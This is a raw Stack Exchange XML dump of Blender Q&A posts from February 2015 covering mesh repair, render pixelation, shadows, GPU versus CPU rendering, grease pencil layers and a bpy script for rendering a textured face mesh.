  <row Id="24187" PostTypeId="2" ParentId="24031" CreationDate="2015-02-03T20:47:21.110" Score="0" Body="&lt;p&gt;I figured out a simple, approximate repair method for this particular mesh (I'm hoping I can apply this to other meshes). Basically, I recognized that this mesh is composed of multiple similar parts, simple geometric shapes. The primary issue with using a convex hull tool came from the convex hull filling in all empty space between parts. However, in edit mode I individually selected each distinct region of the mesh and applied a convex hull to each portion. Therefore, I &quot;repaired&quot; the mesh part by part. &#xA;This was the final product:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALL6x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is one small problem. (Also, I'm pretty new to Stack Exchange so I'm not sure if it's fine to include this). I would like to have all my vertices of my model spaced out in .5 cm increments. Currently, all the vertices are spaced unevenly. I'm assuming I could use the retopo tool somehow for this? Or an edge loop tool? What would be the best way to approach spacing out all the vertices evenly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnHfp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11322" LastActivityDate="2015-02-03T20:47:21.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24189" PostTypeId="1" CreationDate="2015-02-03T22:13:31.063" Score="1" ViewCount="1041" Body="&lt;p&gt;This is a door that I'm making. There is nothing special about it. It somehow has one face (A) that is different than others. I've tried flipping the normal, deleting the face and remaking the face. I also checked the vertex positions. Not sure what else to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might end up deleting this whole A side and use extrude from the other side to recreate the door. But I would like to know what caused it so I can avoid it next time. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMxHe.png&quot; alt=&quot;This face is different than others.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u7AkC.png&quot; alt=&quot;The opposite side face is normal like all the others.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11368" LastActivityDate="2015-02-04T02:54:06.137" Title="a single face in an object is shiny in solid mode and showing a strange gradient color in render" Tags="&lt;modeling&gt;&lt;nurbs-surface&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24190" PostTypeId="2" ParentId="24186" CreationDate="2015-02-03T22:18:56.117" Score="2" Body="&lt;p&gt;gandalf, that got me pointed in the right direction. &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; does it in the Max preset.&lt;/p&gt;&#xA;" OwnerUserId="11384" LastEditorUserId="599" LastEditDate="2015-02-03T23:02:47.673" LastActivityDate="2015-02-03T23:02:47.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24191" PostTypeId="1" AcceptedAnswerId="24193" CreationDate="2015-02-03T22:31:49.107" Score="2" ViewCount="233" Body="&lt;p&gt;I press F12 to render the camera view, but I just get a pixelish version of the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4w2Gm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me how to change that?&#xA;I have already changed the object's &quot;Render&quot; Resolution to 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I have something to report now: When I use the middle mouse button to scroll out a little, the render appears a little smaller (seemingly at 100%), and it looks the way I expected. However, I wonder why that is that the render appears at like 125% for me instead of 100%.&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="12" LastEditDate="2015-02-04T02:52:22.777" LastActivityDate="2015-02-04T02:52:22.777" Title="F12 render appears pixelated" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-03T23:33:50.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="24192" PostTypeId="1" AcceptedAnswerId="24195" CreationDate="2015-02-03T22:35:51.213" Score="1" ViewCount="3364" Body="&lt;p&gt;In my scene I have a person imported for makeHuman software. A camera installed in the ceiling [0,0,2.5m] and oriented to view the floor (parallel to z axis) and a point light source installed in [2m,2m,2.5m]. In the the light source configuration, i check the &lt;strong&gt;Ray shadow option&lt;/strong&gt;. When i render, the person does not cast shadow. I change the light source location but it does not change the situation!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h1htK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="12" LastEditDate="2015-02-04T02:52:51.283" LastActivityDate="2015-02-04T02:52:51.283" Title="Object does not cast shadow" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24193" PostTypeId="2" ParentId="24191" CreationDate="2015-02-03T22:44:30.207" Score="2" Body="&lt;p&gt;This is an artifact of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Nearest-neighbor_interpolation&quot; rel=&quot;nofollow&quot;&gt;interpolation method&lt;/a&gt; blender uses to display images. Image viewers which use other interpolation methods should display the image just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The artifacts should disappear if you view the image at 100% (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;), so that no interpolation is needed.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-03T22:44:30.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24194" PostTypeId="2" ParentId="24183" CreationDate="2015-02-03T22:56:29.620" Score="4" Body="&lt;p&gt;Aside from trying to increase viewport performance, you can also use an &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/quick_render.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;opengl render&lt;/a&gt; to pre-render each frame, then play them back at the proper frame rate.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the frame start and end, and the output format/path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wD8FV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any format works fine (even image sequences), but if you want sound you'll need to specify a format and codec which supports it (e.g. h.264).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the openGL render button either in the header of the 3D view, or in &lt;em&gt;Info &gt; Header &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhFou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you must be in camera view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;) if you want to render from the camera, otherwise the current 3D view orientation will be used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can quickly display the rendered opengl animation (or any rendered animation for that matter) by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt;. Do note that this quick player doesn't support sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need sound, you might want to use an external video player or the VSE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-03T22:56:29.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24195" PostTypeId="2" ParentId="24192" CreationDate="2015-02-03T23:33:53.203" Score="3" Body="&lt;p&gt;Solved in comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A shadow needs to hit something, in order to be seen. Add a plane or another object where you expect the shadow to be seen.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-03T23:33:53.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24196" PostTypeId="1" CreationDate="2015-02-04T00:11:57.057" Score="2" ViewCount="793" Body="&lt;p&gt;Recently, and in the middle of a project blender just quit saving .tga UV maps correctly. I did not close blender between the last .tga file that worked and the one that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save the UV layout as tga file I get a file that has NO extention at all (not .tga or anything) so obviously, the computer does not know how to open it or what to do with it. It also has a file size of 0kb instead of the usual 1.83MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating skyrim armors, using blender 2.49, python 2.6.2 and can't remember the nifscripts version, but it's the version that goes with 2.49 (and shouldn't affect saving the UV layouts anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am unable to save UV layouts, I am unable to create textures for my armors and need to fix this ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; The &lt;em&gt;Blender Console&lt;/em&gt; reads as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Imagesize: 800px wiresize: 1px wrap: yes allfaces: yes formage: *.tga &#xA; target: (folder I've got it set to save to TGA export is running... &#xA; memory : 625kb 100 of 760 faces completed (repeats until 700 of 760 faces completed)&#xA; ...writing tga...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11386" LastEditorUserId="6204" LastEditDate="2015-02-04T00:25:00.863" LastActivityDate="2015-02-04T00:25:00.863" Title="Blender will no longer save .tga files" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24197" PostTypeId="1" CreationDate="2015-02-04T00:28:32.270" Score="0" ViewCount="83" Body="&lt;p&gt;So I used the sapling add-on to create a well detailed tree. Under the curves tab I check the Use UV for mapping box and the went into cycles render mode. I then opened up the node editor and applied the textures to the tree with nodes. When I went into render view all of the textures were in place and correct. But when I finally saved the blender file and the put it into unity it didn't process the textures. Do I need to uvmap the tree instead of applying the textures through node editor, for it to show up in unity. I would very much appreciate if someone could clear this up for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nova &lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2015-02-04T00:28:32.270" Title="How to take an object with textures applied in nodes and put it into unity" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;node-editor&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24198" PostTypeId="2" ParentId="8160" CreationDate="2015-02-04T01:25:31.603" Score="1" Body="&lt;p&gt;Another consideration is that, depending on the desktop environment you use in Linux, some of the keyboard shortcuts for blender might not work, as the shortcuts for the OS take precedence. To fix that you might need to change shortcuts for the Desktop Environment to unused keys in blender (usually the &lt;em&gt;Super&lt;/em&gt; or &lt;em&gt;Windows&lt;/em&gt; key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other issue you might run into is that the versions of blender on certain Linux repositories are not up to date or do not install properly. To bypass repositories you can always download blender directly from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all distributions of Linux provide the same functionality. Some video rendering codecs are not available on the default configuration of Fedora Linux for example, and have to be installed separately. &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-07-25T16:23:10.103" LastActivityDate="2016-07-25T16:23:10.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24199" PostTypeId="1" CreationDate="2015-02-04T05:18:47.977" Score="1" ViewCount="40" Body="&lt;p&gt;So, I'm having this weird issue where my object doesn't even show up on any renders I try to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the object in textured view on the 3D Viewport.&#xA;&lt;img src=&quot;https://i.imgur.com/7afBQjP.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's what shows up on the camera viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/iXSdEkI.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made up UV textures for it, applied them to each part of the model, linked the UV maps to each texture and it still shows up as nothing on the render. The camera viewport is just staring at blank space. I've made sure every single mesh in the scene is visible and on the same layer, so I'm really uncertain about what's causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll see if I can post my blend file for my project.&lt;/p&gt;&#xA;" OwnerUserId="11387" LastEditorDisplayName="user1853" LastEditDate="2015-02-04T11:34:13.063" LastActivityDate="2015-02-04T11:34:13.063" Title="Object doesn't show in camera viewport or on render" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-04T05:40:08.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="24200" PostTypeId="2" ParentId="24181" CreationDate="2015-02-04T07:55:48.740" Score="6" Body="&lt;p&gt;You could also use IK-Constraints to control the legs.&lt;/p&gt;&#xA;&lt;p&gt;Add a plane as &lt;em&gt;Targets&lt;/em&gt; for each leg so the legs can be moved around with them.   To control the rotation, empties are used as &lt;em&gt;Pole Targets&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Legs are parented to the body.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJjof.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8udzB.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34193&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo .blend&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/22/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=22&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-24T07:39:51.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24201" PostTypeId="2" ParentId="24087" CreationDate="2015-02-04T08:15:13.807" Score="1" Body="&lt;p&gt;If you select one part in Blender then double tap the 'a' key, it will select everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you press 'Ctrl+j' it will merge all the parts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity should now only see one mesh, material and texture. &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-04T08:15:13.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24202" PostTypeId="1" CreationDate="2015-02-04T08:21:56.927" Score="1" ViewCount="441" Body="&lt;p&gt;I am trying to load a specific mesh with texture into blender using bpy. With a lot of help from this community, I have managed to load both the mesh and texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Our question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When we try to render the image, we end up with a very poor quality image. Why does this happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It is one thing if the image was just a bit blurry because of resolution issues but in this case it looks like the shape + texture is resulting in a significantly different face image which suggests that something is off with the rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best bet is that I have a bunch of &quot;dummy vertices&quot; at 0,0,0. My polygonal meshing algorithm includes this vertex in many cases. This can be seen in one of the attached images. Somehow this is affecting the final output? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post how I preprocessed data and loaded/created the mesh for interested aides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VupBo.png&quot; alt=&quot;3D view of mesh + texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nxBcS.png&quot; alt=&quot;Rendered view of mesh + texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwF9F.png&quot; alt=&quot;Artifact of my choice of vertices and polygonal meshing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;This is the code for rendering&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      #Fuck it let's start new&#xA;      import scipy.io as scio&#xA;    import sys&#xA;    import numpy as np&#xA;    sys.path.append('//home/mudigonda/blender-git/build_opencolorio/bin/')&#xA;    import bpy&#xA;    from math import radians&#xA;    import random&#xA;    import pdb&#xA;&#xA;    #jubf234=scio.loadmat('/media/mudigonda/Gondor/Projects/shape-basis-3d/matlab/JUBF234.mat')&#xA;    jubf234=scio.loadmat('/media/mudigonda/Gondor/Projects/shape-basis-3d/matlab/JUHF248.mat')&#xA;    faces=jubf234['faces']&#xA;    faces = faces-1&#xA;    vertices=jubf234['vertices']&#xA;    texture=jubf234['texture']&#xA;&#xA;    for object in bpy.data.objects:&#xA;        if object.name != 'Lamp' and object.name !='Camera':&#xA;            object.select = True&#xA;    objs = [l for l in bpy.data.objects]&#xA;    print(objs)&#xA;&#xA;    #Deleting existing object&#xA;    bpy.ops.object.delete()&#xA;&#xA;    #Creating a new mesh&#xA;    mesh_3d= bpy.data.meshes.new(&quot;Human_Face&quot;)&#xA;&#xA;    #converting stuff to int and making a list out of a numpy array...fuuuuuck&#xA;    #Remember that these are matlab indices, somethign to worry about&#xA;    vertex=[]&#xA;    for ii in range(vertices.shape[0]):&#xA;        vertex.append((float(vertices[ii,0]),float(vertices[ii,1]),float(vertices[ii,2])))&#xA;&#xA;    #converting more stuff to int, same thing except here out of face data where face == triangles&#xA;    face=[]&#xA;    for ii in range(faces.shape[0]):&#xA;       face.append((int(faces[ii,0]),int(faces[ii,1]),int(faces[ii,2])))&#xA;&#xA;    #This lets us create our own mesh of an object&#xA;    mesh_3d.from_pydata(vertex, [], face)&#xA;    #We update the scene&#xA;    mesh_3d.update()&#xA;    #creating a new object to link the object&#xA;    obj = bpy.data.objects.new(&quot;My_Object&quot;, mesh_3d)&#xA;    #we take the context&#xA;    scene = bpy.context.scene&#xA;&#xA;    vertex_colors = mesh_3d.vertex_colors&#xA;&#xA;    if len(vertex_colors)==0:&#xA;        vertex_colors.new()&#xA;&#xA;    color_layer = vertex_colors['Col']&#xA;    i = 0&#xA;    non_zero = np.nonzero(texture)&#xA;&#xA;&#xA;    face_flat = faces.flatten()&#xA;    for ii in range(face_flat.shape[0]):&#xA;        color_layer.data[ii].color = list(texture[face_flat[ii],:]/255.0)&#xA;&#xA;    mat = bpy.data.materials.new('vertex_material')&#xA;    mat.use_vertex_color_paint = True&#xA;    mat.use_vertex_color_light = True&#xA;    mesh_3d.materials.append(mat)&#xA;&#xA;&#xA;    #Experimenting with trying to set active object, seems more or less useless or a duplicate of the previous statements&#xA;    for object in bpy.data.objects:&#xA;        if object.name != 'Lamp' and object.name !='Camera':&#xA;            object.select = True&#xA;            bpy.context.scene.objects.active = object&#xA;&#xA;    print(bpy.context.selected_objects)&#xA;    myObj = bpy.context.selected_objects[0]&#xA;    print(myObj)&#xA;    #Not sure what these next pair of statements do but they are important to edit object&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;    ##Resize&#xA;    myObj.scale = ((0.05,0.05,0.05))&#xA;    ##Translate&#xA;    bpy.data.objects[&quot;My_Object&quot;].location=(0.0,0.0,0.0)&#xA;&#xA;    ##camera&#xA;    ##Location&#xA;    bpy.data.objects['Camera'].location = (0.0,0.0,10.0)&#xA;    #Rotation&#xA;    bpy.data.objects['Camera'].rotation_euler = (radians(0.0),radians(0.0),radians(0.0))&#xA;&#xA;    ##Move the Lamp aka Light    &#xA;    bpy.data.objects[&quot;Lamp&quot;].location = (0.0,0.0,15.0)&#xA;&#xA;&#xA;    fov=150&#xA;    #FOV&#xA;    scene.camera.data.angle = fov*(np.pi/180.0)&#xA;&#xA;    #Rendering file&#xA;    path = &quot;load_face2.png&quot;&#xA;    bpy.types.ImageFormatSettings.color_mode='RGB'&#xA;    bpy.data.scenes['Scene'].render.filepath = path&#xA;    bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8425" LastEditorUserId="8425" LastEditDate="2015-02-04T20:29:20.830" LastActivityDate="2015-02-05T03:10:25.563" Title="why is my rendered image different from what I see in my 3D view?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;texturing&gt;&lt;vertex-colors&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24204" PostTypeId="2" ParentId="21816" CreationDate="2015-02-04T09:48:57.507" Score="0" Body="&lt;p&gt;For me, this procedure copy rigid body properties from one object to the others, but:&#xA;Can't see in physics tab when the others objects are selected. &#xA;Can't copy the Rigid Body Collisions &gt; Shape settings.&#xA;(Blender 2.72b)&lt;/p&gt;&#xA;" OwnerUserId="11391" LastActivityDate="2015-02-04T09:48:57.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24205" PostTypeId="2" ParentId="24167" CreationDate="2015-02-04T12:42:32.967" Score="1" Body="&lt;p&gt;You may also need to update the &lt;strong&gt;GPU&lt;/strong&gt; driver to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;nVidia&lt;/strong&gt; tends to upgrade the &lt;strong&gt;CUDA&lt;/strong&gt; capabilities in nearly every new driver, it's not the ultimate solution but it could help.&lt;/p&gt;&#xA;" OwnerUserId="11392" LastActivityDate="2015-02-04T12:42:32.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24206" PostTypeId="1" CreationDate="2015-02-04T13:13:46.917" Score="1" ViewCount="67" Body="&lt;p&gt;I'm animating a character but the camera doesn't show the items on orthographic perspective, so i need to (on this case) rotate the character neck but on that perspective it's pretty hard to do it, but is there any solution to rotate it like if it were on orghographic perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ekWzc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks in regard.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-02-04T15:17:31.060" LastActivityDate="2015-02-04T15:17:31.060" Title="How can i rotate an item/bone on its own pivot?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24207" PostTypeId="2" ParentId="24167" CreationDate="2015-02-04T14:06:38.713" Score="4" Body="&lt;p&gt;It all depends on the complexity of the scene, the size and number of textures used, and also on the kind of of GPU at your disposal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU rendering can be faster than CPU on most modern graphics cards with lots of CUDA cores, but it is also limited by the amount of VRAM built on the card (usually not a lot). Once you've reached that limit, the rendering process will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is only one GPU on your system, and the GPU is also being used to feed the monitor(s), even less VRAM will be available for rendering, as some of it will be already in use by open applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On systems with multiple GPUs the VRAM is not shared, and Blender will only use as much memory as in the smallest one of the card's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you render in CPU you can use all the RAM available in your system, and once you've reached the physical limit, the OS will start virtualizing memory by caching on disk. So for very complex scenes with big textures you might only be able to render on CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible way to render complex scenes in GPU is to spit them in layers and combine them at the end (Read this &lt;a href=&quot;http://www.blenderguru.com/articles/how-to-render-a-complex-scene-without-crashing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; on blenderguru.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other considerations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs for laptops are in general not as powerful as the ones in desktops in terms of speed, number of CUDA cores or VRAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to older GPUs or with less CUDA cores, it is possible that CPU rendering might be faster. Specially if the CPU is multi-core (or multi-threaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles, blender will render as many tiles as there are CPU cores simultaneously. A single GPU will only render one tile at the time, multiple GPUs will render as may tiles as there are GPUs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make rendering more efficient is important to find the size that works best for your machine. Sometimes larger sizes will render faster, but there are times when you need to keep them smaller for the machine to work efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs work better with tile sizes ranging from 128x128 to 256x256, but CPUs seem to like smaller size tiles like 16x16 or 64x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some operations in Cycles still only work on CPU (like smoke rendering).&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="39746" LastEditDate="2018-11-22T14:37:04.130" LastActivityDate="2018-11-22T14:37:04.130" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24208" PostTypeId="1" AcceptedAnswerId="24211" CreationDate="2015-02-04T14:11:40.987" Score="7" ViewCount="3414" Body="&lt;p&gt;when I try to duplicate grease pencil layers &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Layers_and_Animation&quot;&gt;using the &quot;copy/paste&quot; buttons&lt;/a&gt; I get a: &quot;keyframe pasting not available for grease pencil mode&quot;&#xA;Any idea what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2019-11-23T07:19:35.003" Title="Duplicating grease pencil layers?" Tags="&lt;grease-pencil&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24209" PostTypeId="2" ParentId="24208" CreationDate="2015-02-04T14:36:32.227" Score="5" Body="&lt;p&gt;Yes, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; gives that message. You should use the duplicate function, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1WAw3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want copy and paste all the layer, that is &quot;imposible&quot;, the only way is to save the file with othen name and the import the gpencil with &quot;append&quot; or &quot;link&quot; &lt;code&gt;shift + F1&lt;/code&gt;.. but only you will have 1 layer at the same time&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-02-04T15:35:57.233" LastActivityDate="2015-02-04T15:35:57.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24210" PostTypeId="2" ParentId="24167" CreationDate="2015-02-04T14:39:24.893" Score="1" Body="&lt;p&gt;If the scene requires Open Shading Language (for scripted custom shaders) the option disapears from the render settings when you switch to GPU. These shaders wouldn't work on GPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pihik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-04T14:39:24.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24211" PostTypeId="2" ParentId="24208" CreationDate="2015-02-04T15:35:47.377" Score="8" Body="&lt;p&gt;You can duplicate Grease Pencil layers by clicking the Copy button in &lt;strong&gt;Grease Pencil&lt;/strong&gt; panel located in &lt;kbd&gt;N&lt;/kbd&gt; sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tmoP9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: This is a coming feature in &lt;strong&gt;2.74&lt;/strong&gt;. More information see &lt;a href=&quot;https://developer.blender.org/rBd5f3aee&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Currently you can try the &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;daily version&lt;/a&gt; if you have to.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-03-07T02:56:56.830" LastActivityDate="2015-03-07T02:56:56.830" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
